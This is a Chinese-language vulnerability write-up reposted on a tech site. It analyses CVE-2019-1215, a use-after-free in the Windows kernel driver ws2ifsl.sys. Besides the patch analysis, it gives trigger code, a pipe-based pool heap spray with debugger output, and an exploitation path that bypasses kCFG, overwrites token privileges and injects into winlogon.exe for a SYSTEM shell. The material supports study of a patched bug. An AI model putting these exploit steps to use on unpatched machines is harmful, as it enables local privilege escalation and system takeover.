溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Windows內(nèi)核ws2ifsl.sys中的用后釋放漏洞分析

發(fā)布時間:2021-12-27 18:19:51 來源:億速云 閱讀:142 作者:柒染 欄目:安全技術

本篇文章為大家展示了如何進行Windows內(nèi)核ws2ifsl.sys中的用后釋放漏洞分析,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

我們將對近期剛剛修復的用后釋放漏洞(CVE-2019-1215)進行分析,該漏洞存在于ws2ifsl.sys中,一旦成功利用,攻擊者將有可能實現(xiàn)本地提權。在此之前,Windows 7、Windows 8、Windows 10、Windows 2008、Windows 2012和Windows 2019都存在這個漏洞,但是微軟已經(jīng)在2019年9月份成功將其修復了。

接下來,我們將對漏洞的成因進行分析,并嘗試在Windows 10 19H1(1903)x64平臺上進行測試。

ws2ifsl介紹

ws2ifsl組件是一個與winsocket相關的驅(qū)動程序,這個驅(qū)動程序可以實現(xiàn)兩個對象:

一個進程對象

一個socket對象

這個驅(qū)動程序?qū)崿F(xiàn)了幾個調(diào)度程序,在調(diào)用NtCreateFile時,文件名會被設置為\Device\WS2IFSL\,將調(diào)用DispatchCreate函數(shù),函數(shù)將根據(jù)文件名中的_FILE_FULL_EA_INFORMATION.EaName字符串進行判斷,如果是NifsPvd,它將調(diào)用CreateProcessFile,如果是NifsSct,它將調(diào)用CreateSocketFile。

CreateSocketFile和CreateProcessFile函數(shù)都創(chuàng)建內(nèi)部對象,稱為“procData”和“socketData”。創(chuàng)建后,這些對象將保存在文件對象的_FILE_OBJECT.FsContext中,而這個文件對象是在dispatch routine中創(chuàng)建的。

文件對象可以在用戶模式中訪問,即從NtCreateFile返回的句柄對象。該句柄可用于執(zhí)行DeviceIoControl或調(diào)用WriteFile?!皃rocData”和“sockedData”對象并沒有直接引用ObfReferenceObject和ObfDereferenceObject,而是引用了底層的文件對象。除此之外,驅(qū)動程序?qū)崿F(xiàn)了兩個APC對象,分別為“request queue”和“cancel queue”。APC機制是在另一個線程中異步執(zhí)行函數(shù),因為可以在另一個線程中強制執(zhí)行多個APC,所以內(nèi)核實現(xiàn)了一個隊列,其中存儲了所有要執(zhí)行的APC。

“procData”對象包含這兩個APC對象,并由CreateProcessFile在initializerqueue和InitializeCancelQueue中初始化。一個APC對象由KeInitializeApc初始化,并接收一個目標線程和一個函數(shù)作為參數(shù)。此外,還設置了處理器模式(內(nèi)核或用戶模式)以及RundownRoutine。如果是ws2ifsl,則RundownRoutine為 RequestRundownRoutine和 CancelRundownRoutine,則處理器模式設置為用戶模式。這些RundownRoutine用于清理,如果線程有機會在APC內(nèi)部執(zhí)行之前死亡,則由內(nèi)核調(diào)用。之所以會發(fā)生這種情況,是因為僅當APC設置為alertable狀態(tài)時,才進入線程內(nèi)執(zhí)行它。例如,如果調(diào)用SleepEx時第二個參數(shù)設置為TRUE,則可以將線程設置為alertable狀態(tài)。

驅(qū)動程序還在DispatchReadWrite中實現(xiàn)了一個讀寫dispatch的程序,并且只有socket對象可訪問,它還可以調(diào)用DoSocketReadWrite。這個函數(shù)通過調(diào)用SignalRequest函數(shù)并使用nt!KeInsertQueueApc函數(shù)來將APC元素添加到APC隊列中。

與驅(qū)動進行通信

在某些情況下,驅(qū)動程序?qū)詣觿?chuàng)建符號鏈接,并且其名稱可以用作CreateFileA的文件名 ,但是ws2ifsl并非如此。它只能在nt!IoCreateDevice的DeviceName設置為 ‘DeviceWS2IFSL’情況下調(diào)用。但是,我們通過調(diào)用本地API NtOpenFile,就可以訪問派遣函數(shù)ws2ifsl!DispatchCreate了。相關代碼如下:

HANDLE fileHandle = 0;UNICODE_STRING deviceName;RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL");OBJECT_ATTRIBUTES object;InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);IO_STATUS_BLOCK IoStatusBlock ;NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);

DispatchCreate函數(shù)會檢查調(diào)用的擴展屬性,該屬性只能通過NtCreateFile系統(tǒng)調(diào)用進行設置。

針對process對象,擴展屬性(ea)數(shù)據(jù)緩沖區(qū)中必須包含一個屬于當前進程的線程句柄,在之后的才做中將需要使用到這個線程句柄。

補丁分析

首先,我們需要對ws2ifsl未修復版本(10.0.18362.1)和修復版本(10.0.18362.356)進行對比。

修復的函數(shù)如下:

CreateProcessFileDispatchCloseSignalCancelSignalRequestRequestRundownRoutineCancelRundownRoutine

如何進行Windows內(nèi)核ws2ifsl.sys中的用后釋放漏洞分析

修復后的版本多了一個函數(shù):

DereferenceProcessContext

其中最明顯的是,所有修復后的函數(shù)都包含了針對新函數(shù)DereferenceProcessContext的調(diào)用:

如何進行Windows內(nèi)核ws2ifsl.sys中的用后釋放漏洞分析

“procData”對象新增了一個新成員,并使用了引用計數(shù)。比如說,在負責所有初始化的CreateProcessFile中,這個新成員都被設置為1。

舊版本:

procData->tag = 'corP';*(_QWORD *)&procData->processId = PsGetCurrentProcessId();procData->field_100 = 0;

新版本:

procData->tag = 'corP';*(_QWORD *)&procData->processId = PsGetCurrentProcessId();procData->dword100 = 0;procData->referenceCounter = 1i64; // new

DereferenceProcessContex函數(shù)將會檢查引用計數(shù),并調(diào)用nt!ExFreePoolWithTag。

新版的DispatchClose函數(shù)將從調(diào)用nt!ExFreePoolWithTag改變?yōu)檎{(diào)用DereferenceProcessContext,也就是說,如果引用計數(shù)不是零,那么“procData”將不會被釋放,只會將其引用計數(shù)遞減一。

修復后的SignalRequest會在調(diào)用nt!KeInsertQueueApc之前增加referenceCounter。

漏洞之所以會存在,就是因為即使請求一個已在隊列中的APC,DispatchClose函數(shù)仍然可以釋放“procData”對象。每當關閉文件句柄的最后一個引用時(通過調(diào)用CloseHandle),就會調(diào)用DispatchClose函數(shù)。

新版本通過使用新的referenceCounter來確保緩沖區(qū)只有在最后一個引用被刪除之后才會被釋放。如果是RundownRoutine(包含引用),則在函數(shù)末尾刪除 DereferenceProcessContext引用,并在調(diào)用nt!KeInsertQueueApc之前讓引用計數(shù)加一。如果發(fā)生錯誤,該引用也會被刪除(避免內(nèi)存泄漏)。

漏洞觸發(fā)

要觸發(fā)這個漏洞,我們首先要創(chuàng)建一個“procData”句柄和一個“socketData”句柄,然后向“socketData”寫入惡意數(shù)據(jù)并關閉兩個句柄。接下來,線程將會終止調(diào)用APC RundownRoutine,并處理釋放的數(shù)據(jù)。

漏洞觸發(fā)代碼:

<..>in CreateProcessHandle:     g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);    eaData->a1 = (void*)g_hThread1; // thread must be in current process    eaData->a2 = (void*)0x2222222;  // fake APC Routine    eaData->a3 = (void*)0x3333333;  // fake cancel Rundown Routine    eaData->a4 = (void*)0x4444444;    eaData->a5 = (void*)0x5555555;         NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));    DWORD supSuc = SuspendThread(g_hThread1);<..>in main: HANDLE procHandle = CreateProcessHandle();HANDLE sockHandle = CreateSocketHandle(procHandle); char* writeBuffer = (char*) malloc(0x100);     IO_STATUS_BLOCK io;LARGE_INTEGER byteOffset;byteOffset.HighPart = 0;byteOffset.LowPart = 0;byteOffset.QuadPart = 0;byteOffset.u.LowPart = 0;byteOffset.u.HighPart = 0;ULONG key = 0;  CloseHandle(procHandle); NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);

在DispatchClose釋放處設置一個斷點,我們將會看到:

Breakpoint 2 hitws2ifsl!DispatchClose+0x7d:fffff806`1b8e71cd e8ceeef3fb      call    nt!ExFreePool (fffff806`178260a0)1: kd> db rcxffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............1: kd> gBreakpoint 0 hitws2ifsl!RequestRundownRoutine:fffff806`1b8e12d0 48895c2408      mov     qword ptr [rsp+8],rbx0: kd> db rcx-30ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............

因為procData對象已經(jīng)被釋放,所以RundownRoutine將處理釋放的數(shù)據(jù)。一般來說此時不會發(fā)生崩潰,因為數(shù)據(jù)塊沒有重新分配。

堆噴射

接下來,我們來看看如何利用該漏洞。

首先,我們需要知道緩沖區(qū)和分配池的大小。

在要釋放的緩沖區(qū)上使用pool命令,我們可以看到它分配在Nonpaged pool上,大小為0x120字節(jié)。

1: kd> !pool ffff8b08905e9910Pool page ffff8b08905e9910 region is Nonpaged pool<..>*ffff8b08905e9900 size:  120 previous size:    0  (Allocated) *Ws2P Process: ffff8b08a32e3080        Owning component : Unknown (update pooltag.txt)

查看ws2ifsl!CreateProcessFile中分配的緩沖區(qū),我們可以看到:

PAGE:00000001C00079ED mov     edx, 108h       ; sizePAGE:00000001C00079F2 mov     ecx, 200h       ; PoolTypePAGE:00000001C00079F7 mov     r8d, 'P2sW'     ; TagPAGE:00000001C00079FD call    cs:__imp_ExAllocatePoolWithQuotaTag

以下代碼可用于為多個0x120字節(jié)的緩沖區(qū)分配用戶控制的數(shù)據(jù):

int doHeapSpray(){    for (size_t i = 0; i < 0x5000; i++)    {        HANDLE readPipe;        HANDLE writePipe;        DWORD resultLength;        UCHAR payload[0x120 - 0x48];        RtlFillMemory(payload, 0x120 - 0x48, 0x24);         BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));         res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);    }      return 0;}

如果我們將這個堆噴射合并到漏洞觸發(fā)代碼中,我們就能在nt!KiInsertQueueApc中觸發(fā)一次漏洞檢查,而程序崩潰是由于對“l(fā)iked list”操作所引起的。

.text:00000001400A58F6 mov     rax, [rdx].text:00000001400A58F9 cmp     [rax+_LIST_ENTRY.Blink], rdx.text:00000001400A58FD jnz     fail_fast<..>.text:00000001401DC2EA fail_fast:                              ; CODE XREF: KiInsertQueueApc+53↑j.text:00000001401DC2EA                                         ; KiInsertQueueApc+95↑j ....text:00000001401DC2EA                 mov     ecx, 3.text:00000001401DC2EF                 int     29h             ; Win8: RtlFailFast(ecx)

錯誤檢查在命令int 29處執(zhí)行,在檢查發(fā)生崩潰的寄存器時,我們可以看到RAX寄存器指向的是我們控制的數(shù)據(jù)。

rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599 r8=ffff8b08a39c3118  r9=fffff80574d87490 r10=fffff80574d87490r11=0000000000000000 r12=0000000000000000 r13=0000000000000000r14=0000000000000000 r15=0000000000000000 0: kd> dq ffff8b08905e82d0ffff8b08`905e82d0  24242424`24242424 24242424`24242424ffff8b08`905e82e0  24242424`24242424 24242424`24242424ffff8b08`905e82f0  24242424`24242424 24242424`24242424ffff8b08`905e8300  24242424`24242424 24242424`24242424ffff8b08`905e8310  24242424`24242424 24242424`24242424ffff8b08`905e8320  24242424`24242424 24242424`24242424ffff8b08`905e8330  24242424`24242424 24242424`24242424ffff8b08`905e8340  24242424`24242424 24242424`24242424

導致崩潰的調(diào)用棧如下:

0: kd> k # Child-SP          RetAddr           Call Site00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x1202 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x95203 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x10704 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x6905 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd006 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x32507 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a8708 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e80a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f20b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x480c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart

上述代碼中,因為主線程的突然終止而觸發(fā)了錯誤檢測,之所以會發(fā)生這種情況,是因為我們破壞的APC仍然在隊列中,而斷開連接操作可以處理損壞的數(shù)據(jù)。因為前后指針已損壞并且沒有指向有效的鏈接列表,因此會引發(fā)安全斷開檢查。

KeRundownApcQueues

我們需要將釋放的APC元素轉(zhuǎn)換為有效的內(nèi)容,在觸發(fā)錯誤并重寫舊的“prodata”之后,需要退出APC隊列的線程。此時,內(nèi)核將調(diào)用nt!KeRundownApcQueues函數(shù)并檢查nt!KiFlushQueueApc!。

此時,我們就可以控制緩沖區(qū)的內(nèi)容了,我們可以避免安全異常,因為鏈表的有效指針使用了一個指向“kthread”內(nèi)部的值來檢查。假如我們以中等完整性級別運行,那么使用SystemHandleInformation調(diào)用NtQuerySystemInformation則可能會泄漏“kthread”的地址。如果我們使用“kthread”地址來創(chuàng)建回收的“procData”,并且nt!KeRundownApcQueues嘗試在“procData”對象中執(zhí)行用戶控制的函數(shù)指針,我們就可以避免觸發(fā)錯誤檢查了。

繞過kCFG

在我們控制了想要執(zhí)行的函數(shù)指針之后,還有一個需要克服的小障礙。在中等完整性級別下,可以通過NtQuerySystemInformation / SystemModuleInformation泄漏所有加載模塊的基地址。因此,我們現(xiàn)在至少知道可以將執(zhí)行轉(zhuǎn)移到何處。

但是,APC函數(shù)指針調(diào)用由Microsoft實現(xiàn)的CFI內(nèi)核控制流保護。如果我們調(diào)用隨機ROP gadget,內(nèi)核會拋出一個錯誤檢查。

幸運的是,從CFG的角度來看,函數(shù)序言都是有效的分支目標,因此我們知道可以調(diào)用什么而不必停止。在調(diào)用nt!KeRundownApcQueues函數(shù)指針時,第一個參數(shù)(rcx)指向“procData”緩沖區(qū),第二個參數(shù)(rdx)為零。

我們可以使用的另一種可能性是通過調(diào)用本地函數(shù)NtTestAlert來調(diào)用APC函數(shù)指針。

當使用NtTestAlert調(diào)用APC函數(shù)指針時,第一個參數(shù)(rcx)指向“procData”緩沖區(qū),第二個參數(shù)(rdx)也指向它。

在尋找一些小函數(shù),根據(jù)給定的約束執(zhí)行操作之后,我們找到了一個合適的對象:nt!SeSetAccessStateGenericMapping。

如下所示,nt!SeSetAccessStateGenericMapping可用于執(zhí)行16字節(jié)的任意寫入:

如何進行Windows內(nèi)核ws2ifsl.sys中的用后釋放漏洞分析

但是,這16個字節(jié)的后半部分未被完全控制,但是前8個字節(jié)是基于堆噴射所提供的數(shù)據(jù)。

令牌覆蓋

在舊的Windows版本中,有很多技術可以將一個任意的寫操作轉(zhuǎn)換成一個完整的內(nèi)核讀寫原語。最簡單的方法是在啟用所有位的情況下覆蓋此結構的Present和Enabled成員。這將讓我們獲得SeDebugPrivilege特權,允許我們將代碼注入到高特權進程中,比如說“winlogon.exe”。

獲取系統(tǒng)權限

一旦我們將代碼注入到了系統(tǒng)進程中,我們就可以運行“cmd.exe”,然后拿到交互式的shell。與此同時,我們還避免了kCFG和SMEP等許多問題,因為我們不執(zhí)行ROP或在錯誤的上下文中執(zhí)行任何ring0代碼。

上述內(nèi)容就是如何進行Windows內(nèi)核ws2ifsl.sys中的用后釋放漏洞分析,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。

AI